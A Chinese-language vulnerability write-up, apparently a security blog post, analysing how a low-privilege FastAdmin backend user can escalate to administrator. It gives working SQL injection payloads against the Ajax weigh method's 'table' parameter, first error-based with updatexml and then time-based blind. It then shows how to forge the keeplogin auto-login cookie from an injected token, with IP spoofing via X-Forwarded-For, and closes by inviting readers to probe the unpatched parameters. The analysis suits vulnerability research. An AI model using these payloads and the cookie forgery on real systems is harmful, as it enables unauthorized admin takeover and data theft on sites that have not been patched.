前段时间续师傅又给我指出了fastadmin 后台低权限拿 shell 的漏洞点:
在忙好自己的事情后,有了这次的分析
影响版本:V1.0.0.20191212_beta 及以下版本
低权限后台拿 shell 遇到的最大的问题就是有些功能存在 getshell 的点,但是低权限没有权限去访问。因此我们有以下几个思路:
本文利用的就是第一种和第二种相结合的情况,在低权限的情况下,找到可利用的某些方法,利用这种方法本身存在的漏洞去获取高权限,然后利用高权限可访问的功能点去 getshell。
既然强调了权限,因此必须要介绍一下fastadmin 的鉴权流程,只有清楚在什么情况下,有权限访问,什么情况下无权限访问,才可以找到系统中可能存在的漏洞点。
在 fastadmin 中的/application/common/controller/Backend.php
文件中,详细说明了鉴权的一些信息。关键信息如下:
protected $noNeedLogin = []; protected $noNeedRight = []; ... public function _initialize() { $modulename = $this->request->module(); $controllername = Loader::parseName($this->request->controller()); $actionname = strtolower($this->request->action()); $path = str_replace('.', '/', $controllername) . '/' . $actionname; !defined('IS_ADDTABS') && define('IS_ADDTABS', input("addtabs") ? true : false); !defined('IS_DIALOG') && define('IS_DIALOG', input("dialog") ? true : false); !defined('IS_AJAX') && define('IS_AJAX', $this->request->isAjax()); $this->auth = Auth::instance(); // 设置当前请求的URI $this->auth->setRequestUri($path); // 检测是否需要验证登录 if (!$this->auth->match($this->noNeedLogin)) { //检测是否登录 if (!$this->auth->isLogin()) { Hook::listen('admin_nologin', $this); $url = Session::get('referer'); $url = $url ? $url : $this->request->url(); if ($url == '/') { $this->redirect('index/login', [], 302, ['referer' => $url]); exit; } $this->error(__('Please login first'), url('index/login', ['url' => $url])); } // 判断是否需要验证权限 if (!$this->auth->match($this->noNeedRight)) { // 判断控制器和方法判断是否有对应权限 if (!$this->auth->check($path)) { Hook::listen('admin_nopermission', $this); $this->error(__('You have no permission'), ''); } } }
fastamdin 规定了两个集合,一个集合为无需登录,无需鉴权,即可访问的$noNeedLogin
,一个集合为需要登录,无需鉴权,即可访问的$noNeedRight
,然后定义了初始化函数_initialize()
,该方法主要用于验证访问当前 URL的用户是否登录,访问的方法是否需要登录以及访问的方法是否需要检验权限。
这个鉴权文件被各个控制器所引用,并且这些控制器在开始处都会规定哪些方法属于$noNeedLogin
,哪些方法属于$noNeedRight
,如在/application/admin/index.php
文件中的开头处:
规定了login
方法为无需登录,无需鉴权的方法,index
和logout
为需要登录,无需鉴权的方法。然后重写_initialize()
,并且在该方法中引入了Backend.php
中的_initialize()
判断方法。
以上为 fastadmin 的简单的鉴权流程,更复杂的鉴权,如需要登录并且需要鉴权等,有兴趣的朋友可自行阅读源代码去研究。
漏洞点:/application/admin/controller/Ajax.php
在该文件的开头处,定义了各类方法的权限,如下:
规定lang
方法无需登录、无需鉴权即可访问,其他方法(upload、weigh、wipecache、category、area、icon)为需要登录、无需鉴权即可访问的方法。其中,weigh
方法的主要内容如下:
public function weigh() { //排序的数组 $ids = $this->request->post("ids"); //拖动的记录ID $changeid = $this->request->post("changeid"); //操作字段 $field = $this->request->post("field"); //操作的数据表 $table = $this->request->post("table"); //主键 $pk = $this->request->post("pk"); //排序的方式 $orderway = strtolower($this->request->post("orderway", "")); $orderway = $orderway == 'asc' ? 'ASC' : 'DESC'; $sour = $weighdata = []; $ids = explode(',', $ids); $prikey = $pk ? $pk : (Db::name($table)->getPk() ?: 'id'); $pid = $this->request->post("pid"); //限制更新的字段 $field = in_array($field, ['weigh']) ? $field : 'weigh'; // 如果设定了pid的值,此时只匹配满足条件的ID,其它忽略 if ($pid !== '') { $hasids = []; $list = Db::name($table)->where($prikey, 'in', $ids)->where('pid', 'in', $pid)->field("{$prikey},pid")->select(); foreach ($list as $k => $v) { $hasids[] = $v[$prikey]; } $ids = array_values(array_intersect($ids, $hasids)); } $list = Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select(); foreach ($list as $k => $v) { $sour[] = $v[$prikey]; $weighdata[$v[$prikey]] = $v[$field]; } $position = array_search($changeid, $ids); $desc_id = $sour[$position]; //移动到目标的ID值,取出所处改变前位置的值 $sour_id = $changeid; $weighids = array(); $temp = array_values(array_diff_assoc($ids, $sour)); foreach ($temp as $m => $n) { if ($n == $sour_id) { $offset = $desc_id; } else { if ($sour_id == $temp[0]) { $offset = isset($temp[$m + 1]) ? $temp[$m + 1] : $sour_id; } else { $offset = isset($temp[$m - 1]) ? $temp[$m - 1] : $sour_id; } } $weighids[$n] = $weighdata[$offset]; Db::name($table)->where($prikey, $n)->update([$field => $weighdata[$offset]]); } $this->success(); }
在本方法中,weigh
方法通过 POST 传值的方式,获取到了ids
、changeid
、field
、table
、pk
、orderway
参数的值,可以看到,这些值全部没有经过过滤,然后直接传入了 SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
中。
在这段后加上打印 SQL 语句:echo Db::name($table)->getLastSql();
,如下图所示:
可以看到其 SQL 语句 如下:
SELECT `type`,`pid` FROM `fa_category` WHERE `type` IN ('2','4','1','3','5','6','8','9','7','10','11','12','13') AND `pid` IN (0)
这样就很清楚了,我们可以修改table
值,来执行我们所需要的 SQL 语句,如下:
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category union select 1,updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
成功爆出 user()
,但需要注意的是,由于是本地调试,我开启了 fastadmin 的应用调试模式,如果将其关闭:
那么就不会返回错误信息,也自然不会返回我们所需要的信息:
因此我需要修改 SQL 语句,将报错模式改为时间盲注模式:
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category where id=1 and if(ascii(substr(database(),1,1))>95,sleep(2),1);
发现出错
DeBug 调试发现>
符号被转义成实体了:
没事,将语句改为:
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),1,1)) in (0x66),sleep(2),1)%23
成功注入
同理,利用时间盲注,可以注入出用户名和密码,具体语句可以自行查找相关的实际盲注语句,这里不再赘述
但是,我们知道当管理员密码复杂的时候,MD5 不一定能够破解,况且 fastadmin 密码是加盐的:
那么这个注入岂不是很鸡肋?
当然不是!在/application/admin/controller/Index.php
文件的大约100行,有以下代码:
// 根据客户端的cookie,判断是否可以自动登录 if ($this->auth->autologin()) { $this->redirect($url); }
跟进autologin()
public function autologin() { $keeplogin = Cookie::get('keeplogin'); if (!$keeplogin) { return false; } list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin); if ($id && $keeptime && $expiretime && $key && $expiretime > time()) { $admin = Admin::get($id); if (!$admin || !$admin->token) { return false; } //token有变更 if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) { return false; } $ip = request()->ip(); //IP有变动 if ($admin->loginip != $ip) { return false; } Session::set("admin", $admin->toArray()); //刷新自动登录的时效 $this->keeplogin($keeptime); return true; } else { return false; } }
从keeplogin
中获取信息,然后分割,将其分别赋值给$id
,$keeptime
,$expiretime
,$key
变量,若这些值大于当前时间并且满足以下条件:
id
是否为管理员id
的 token 在数据库中是否为空满足以上条件,那么就可以自动登陆。那么该如何满足呢?
从上面的注入漏洞我们可以从fa_admin
表中的所有信息,fa_admin
表字段信息如下:
因此可以根据存在的 id 值、token 值、IP 值来满足所需要的条件。
对于 id 和 token 我们可以直接根据注入获得的信息来满足条件,对于 ip 的获取,我们可以使用 X-Forwarded-For
来伪造 IP
所以只要满足最后一个条件——token 是否有变更,即可自动登陆
从上面代码中可以看出,id
、keeptime
、expiretime
变量都是我们可控的,token
可以通过注入获得,那么就很简单了,我们自己来构造一个符合$key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token
值的key
,然后构造keeplogin
值来进行自动登陆。
我们可以赋值如下:
id-->1-->c4ca4238a0b923820dcc509a6f75849b
keeptime-->86400-->641bed6f12f5f0033edd3827deec6759
expiretime-->1601902475-->02dbcd10c7f55b1c592350154b5e87de
token-->43e78cd9-b16b-4f27-9648-d60fd0e9b464
key-->c4ca4238a0b923820dcc509a6f75849b641bed6f12f5f0033edd3827deec675902dbcd10c7f55b1c592350154b5e87de43e78cd9-b16b-4f27-9648-d60fd0e9b464-->1fe1e4fc538e66089c4e24ed3b8e4c8c
keeplogin-->1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c
这里要注意的是我们赋值的 expiretime
变量要符合条件$id && $keeptime && $expiretime && $key && $expiretime > time()
才可,具体可以自己使用以下代码测试:
<?php $keeplogin = '1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c'; list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin); if ($id && $keeptime && $expiretime && $key && $expiretime > time()) { echo time(); }else{ echo 'No'; } ?>
构造好keeplogin
后,我们可以来测试一下,首先看一下系统自动生成的 keeplogin
为:
1%7C86400%7C1601886601%7Cab804a9bbb40d920704bc6e1b18a2733
然后打开无痕窗口填入我们自己生成的keeplogin
:
1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c
刷新后,发现自动登陆了id
为 1 的 admin 账号:
剩下的拿 shell 方式就和网上流传的一样了,其实如果权限够,也可以尝试注入直接拿 shell。
在V1.0.0.20191212_beta后,官方对于$table
变量进行了修复:
$table = $this->request->post("table"); if (!Validate::is($table, "alphaDash")) { $this->error(); }
对$table
变量做了判断,验证其值是否为字母、数字、下划线_、破折号-
这样使注入语句不能出现逗号,
、括号
等字符,对于注入的语句做了极大的限制
本文主要对于低权限如何提升至高权限的方法进行了分析,虽然不是最新版的,但是思路可以记录学习一波。值得一提的是,在V1.0.0.20200228_beta~V1.0.0.20200920_beta版本中,对于pk
变量未进行修复,但是在V1.2.0.20201001_beta版本中,却对其进行了修复:
此外,SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
中传入了table
、prikey(pk)
、field
、ids
、orderway
变量,其中对于table
以及prikey(pk)
进行了过滤,其他变量却是没有的,so~有兴趣的朋友可以自己测试看看